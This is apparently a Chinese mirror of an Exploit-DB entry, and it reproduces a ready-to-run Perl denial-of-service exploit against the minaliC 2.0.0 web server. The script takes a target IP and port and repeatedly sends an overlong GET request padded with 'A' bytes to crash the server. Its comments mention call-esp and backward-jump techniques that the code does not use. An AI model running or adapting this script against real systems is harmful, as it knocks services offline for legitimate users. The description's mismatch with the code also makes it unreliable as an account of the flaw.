minaliC 2.0.0 – Denied of Service - 体验盒子

作者： Fernando Mengali

日期： 2024-03-22

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/51917/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

#!/usr/bin/perl

use Socket;

# Exploit Title: minaliC 2.0.0 - Denial of Service (DoS)

# Discovery by: Fernando Mengali

# Discovery Date: 03 january 2024

# Vendor Homepage: http://minalic.sourceforge.net/

# Notification vendor: No reported

# Tested Version: minaliC 2.0.0

# Tested on: Window XP Professional - Service Pack 2 and 3 - English

# Vulnerability Type: Denial of Service (DoS)

# Vídeo: https://www.youtube.com/watch?v=R_gkEjvpJNw

#1. Description

#This technique works fine against Windows XP Professional Service Pack 2 and 3 (English).

#For this exploit I have tried several strategies to increase reliability and performance:

#Jump to a static 'call esp'

#Backwards jump to code a known distance from the stack pointer.

#The server did not properly handle request with large amounts of data via method GET to web server.

#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.

#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){

$cmd="cls";

} else {

$cmd="clear";

}

system("$cmd");

intro();

main();

print "[+] Exploiting... \n";

my $junk = "\x41" x 245;

my $host = "\x41" x 135;

my $i=0;

while ($i <= 3) {

my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";

my $sock;

socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";

my $addr = sockaddr_in($port, inet_aton($ip));

connect($sock, $addr);

send($sock, $buf, length($buf), 0);

$i++;

}

print "[+] Done - Exploited success!!!!!\n\n";

sub intro {

print "***************************************************\n";

print "* minaliC 2.0.0 - Denied of Service *\n";

print "* *\n";

print "*Coded by Fernando Mengali*\n";

print "* *\n";

print "*e-mail: fernando.mengalli\@gmail.com *\n";

print "* *\n";

print "***************************************************\n";

}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " \nUsage: $0 <ip> <port> \n";

exit(-1);

}